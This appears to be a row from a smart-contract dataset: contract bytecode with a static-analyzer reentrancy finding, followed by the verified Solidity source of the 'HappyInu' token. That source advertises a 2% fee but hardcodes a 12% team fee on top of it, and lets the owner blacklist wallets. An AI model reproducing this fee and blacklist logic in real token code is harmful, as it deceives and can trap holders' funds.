000000000000000000815250905090565b611167611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb906132f3565b60405180910390fd5b8060198190555050565b611206611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a906132f3565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112c96112c2611512565b84846116e5565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611354611512565b73ffffffffffffffffffffffffffffffffffffffff1614806113ca5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b2611512565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d357600080fd5b60006113de30610df8565b90506113e9816120d0565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147b611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff906132f3565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190613373565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190613253565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d89190613393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c90613333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc906131d3565b60405180910390fd5b60008111611808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ff90613313565b60405180910390fd5b611810611041565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561187e575061184e611041565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0257601660149054906101000a900460ff1661192457601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a906131f3565b60405180910390fd5b5b601754811115611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090613233565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4390613273565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611af95760185481611aae84610df8565b611ab891906134c9565b10611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef90613353565b60405180910390fd5b5b6000611b0430610df8565b9050600060195482101590506017548210611b1f5760175491505b808015611b395750601660159054906101000a900460ff16155b8015611b935750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba9575060168054906101000a900460ff165b15611bff57611bb7826120d0565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611bfd57611bfc3073ffffffffffffffffffffffffffffffffffffffff1631611f67565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ca95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6a5760009050611ef1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e155750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e2d57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ed85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ef057600a54600c81905550600b54600d819055505b5b611efd84848484612402565b50505050565b6000838311158290611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4291906131b1565b60405180910390fd5b5060008385611f5a91906135aa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fb760028461242f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fe2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61203360028461242f90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561205e573d6000803e3d6000fd5b5050565b60006006548211156120a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a090613213565b60405180910390fd5b60006120b3612479565b90506120c8818461242f90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561212e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561215c5781602001602082028036833780820191505090505b509050308160008151811061219a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561225857600080fd5b505afa15801561226c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122909190612c3c565b816001815181106122ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061233130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016123b19594939291906133ae565b600060405180830381600087803b1580156123cb57600080fd5b505af11580156123df573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806124105761240f6124a4565b5b61241b8484846124e7565b80612429576124286126b2565b5b50505050565b600061247183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126c6565b905092915050565b6000806000612486612729565b9150915061249d818361242f90919063ffffffff16565b9250505090565b6000600c541480156124b857506000600d54145b156124c2576124e5565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124f987612788565b95509550955095509550955061255786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ec85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263881612898565b6126428483612955565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161269f9190613393565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000808311829061270d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270491906131b1565b60405180910390fd5b506000838561271c919061351f565b9050809150509392505050565b600080600060065490506000678ac7230489e80000905061275d678ac7230489e8000060065461242f90919063ffffffff16565b82101561277b57600654678ac7230489e80000935093505050612784565b81819350935050505b9091565b60008060008060008060008060006127a58a600c54600d5461298f565b92509250925060006127b5612479565b905060008060006127c88e878787612a25565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061283283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f03565b905092915050565b600080828461284991906134c9565b90508381101561288e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288590613293565b60405180910390fd5b8091505092915050565b60006128a2612479565b905060006128b98284612aae90919063ffffffff16565b905061290d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61296a826006546127f090919063ffffffff16565b6006819055506129858160075461283a90919063ffffffff16565b6007819055505050565b6000806000806129bb60646129ad888a612aae90919063ffffffff16565b61242f90919063ffffffff16565b905060006129e560646129d7888b612aae90919063ffffffff16565b61242f90919063ffffffff16565b90506000612a0e82612a00858c6127f090919063ffffffff16565b6127f090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a3e8589612aae90919063ffffffff16565b90506000612a558689612aae90919063ffffffff16565b90506000612a6c8789612aae90919063ffffffff16565b90506000612a9582612a8785876127f090919063ffffffff16565b6127f090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612ac15760009050612b23565b60008284612acf9190613550565b9050828482612ade919061351f565b14612b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b15906132d3565b60405180910390fd5b809150505b92915050565b6000612b3c612b3784613448565b613423565b90508083825260208201905082856020860282011115612b5b57600080fd5b60005b85811015612b8b5781612b718882612b95565b845260208401935060208301925050600181019050612b5e565b5050509392505050565b600081359050612ba481613b6e565b92915050565b600081519050612bb981613b6e565b92915050565b600082601f830112612bd057600080fd5b8135612be0848260208601612b29565b91505092915050565b600081359050612bf881613b85565b92915050565b600081359050612c0d81613b9c565b92915050565b600060208284031215612c2557600080fd5b6000612c3384828501612b95565b91505092915050565b600060208284031215612c4e57600080fd5b6000612c5c84828501612baa565b91505092915050565b60008060408385031215612c7857600080fd5b6000612c8685828601612b95565b9250506020612c9785828601612b95565b9150509250929050565b600080600060608486031215612cb657600080fd5b6000612cc486828701612b95565b9350506020612cd586828701612b95565b9250506040612ce686828701612bfe565b9150509250925092565b60008060408385031215612d0357600080fd5b6000612d1185828601612b95565b9250506020612d2285828601612be9565b9150509250929050565b60008060408385031215612d3f57600080fd5b6000612d4d85828601612b95565b9250506020612d5e85828601612bfe565b9150509250929050565b600060208284031215612d7a57600080fd5b600082013567ffffffffffffffff811115612d9457600080fd5b612da084828501612bbf565b91505092915050565b600060208284031215612dbb57600080fd5b6000612dc984828501612be9565b91505092915050565b600060208284031215612de457600080fd5b6000612df284828501612bfe565b91505092915050565b60008060008060808587031215612e1157600080fd5b6000612e1f87828801612bfe565b9450506020612e3087828801612bfe565b9350506040612e4187828801612bfe565b9250506060612e5287828801612bfe565b91505092959194509250565b6000612e6a8383612e76565b60208301905092915050565b612e7f816135de565b82525050565b612e8e816135de565b82525050565b6000612e9f82613484565b612ea981856134a7565b9350612eb483613474565b8060005b83811015612ee5578151612ecc8882612e5e565b9750612ed78361349a565b925050600181019050612eb8565b5085935050505092915050565b612efb816135f0565b82525050565b612f0a81613633565b82525050565b612f1981613657565b82525050565b6000612f2a8261348f565b612f3481856134b8565b9350612f44818560208601613669565b612f4d816137a3565b840191505092915050565b6000612f656023836134b8565b9150612f70826137b4565b604082019050919050565b6000612f88603f836134b8565b9150612f9382613803565b604082019050919050565b6000612fab602a836134b8565b9150612fb682613852565b604082019050919050565b6000612fce601c836134b8565b9150612fd9826138a1565b602082019050919050565b6000612ff16022836134b8565b9150612ffc826138ca565b604082019050919050565b60006130146023836134b8565b915061301f82613919565b604082019050919050565b6000613037601b836134b8565b915061304282613968565b602082019050919050565b600061305a6017836134b8565b915061306582613991565b602082019050919050565b600061307d6021836134b8565b9150613088826139ba565b604082019050919050565b60006130a06020836134b8565b91506130ab82613a09565b602082019050919050565b60006130c36029836134b8565b91506130ce82613a32565b604082019050919050565b60006130e66025836134b8565b91506130f182613a81565b604082019050919050565b60006131096023836134b8565b915061311482613ad0565b604082019050919050565b600061312c6024836134b8565b915061313782613b1f565b604082019050919050565b61314b8161361c565b82525050565b61315a81613626565b82525050565b60006020820190506131756000830184612e85565b92915050565b60006020820190506131906000830184612ef2565b92915050565b60006020820190506131ab6000830184612f01565b92915050565b600060208201905081810360008301526131cb8184612f1f565b905092915050565b600060208201905081810360008301526131ec81612f58565b9050919050565b6000602082019050818103600083015261320c81612f7b565b9050919050565b6000602082019050818103600083015261322c81612f9e565b9050919050565b6000602082019050818103600083015261324c81612fc1565b9050919050565b6000602082019050818103600083015261326c81612fe4565b9050919050565b6000602082019050818103600083015261328c81613007565b9050919050565b600060208201905081810360008301526132ac8161302a565b9050919050565b600060208201905081810360008301526132cc8161304d565b9050919050565b600060208201905081810360008301526132ec81613070565b9050919050565b6000602082019050818103600083015261330c81613093565b9050919050565b6000602082019050818103600083015261332c816130b6565b9050919050565b6000602082019050818103600083015261334c816130d9565b9050919050565b6000602082019050818103600083015261336c816130fc565b9050919050565b6000602082019050818103600083015261338c8161311f565b9050919050565b60006020820190506133a86000830184613142565b92915050565b600060a0820190506133c36000830188613142565b6133d06020830187612f10565b81810360408301526133e28186612e94565b90506133f16060830185612e85565b6133fe6080830184613142565b9695505050505050565b600060208201905061341d6000830184613151565b92915050565b600061342d61343e565b9050613439828261369c565b919050565b6000604051905090565b600067ffffffffffffffff82111561346357613462613774565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134d48261361c565b91506134df8361361c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561351457613513613716565b5b828201905092915050565b600061352a8261361c565b91506135358361361c565b92508261354557613544613745565b5b828204905092915050565b600061355b8261361c565b91506135668361361c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359f5761359e613716565b5b828202905092915050565b60006135b58261361c565b91506135c08361361c565b9250828210156135d3576135d2613716565b5b828203905092915050565b60006135e9826135fc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061363e82613645565b9050919050565b6000613650826135fc565b9050919050565b60006136628261361c565b9050919050565b60005b8381101561368757808201518184015260208101905061366c565b83811115613696576000848401525b50505050565b6136a5826137a3565b810181811067ffffffffffffffff821117156136c4576136c3613774565b5b80604052505050565b60006136d88261361c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561370b5761370a613716565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b77816135de565b8114613b8257600080fd5b50565b613b8e816135f0565b8114613b9957600080fd5b50565b613ba58161361c565b8114613bb057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122070752c1d2d473288110e5c92ed09faa9df0743cc0cd313a0d7684615033cace364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,505
0x48d1193911421878910a4046b6ac6c81d9711cc4
/** *Submitted for verification at Etherscan.io on 2021-07-14 */ //HappyInu ($Happy) //Powerful Bot Protect yes //2% Deflationary yes //Telegram: https://t.me/happy_inu_official //CG, CMC listing: Ongoing //Fair Launch //Community Driven - 100% Community Owned! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HappyInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HappyInu | t.me/happy_inu_official"; string private constant _symbol = "HAPPY"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
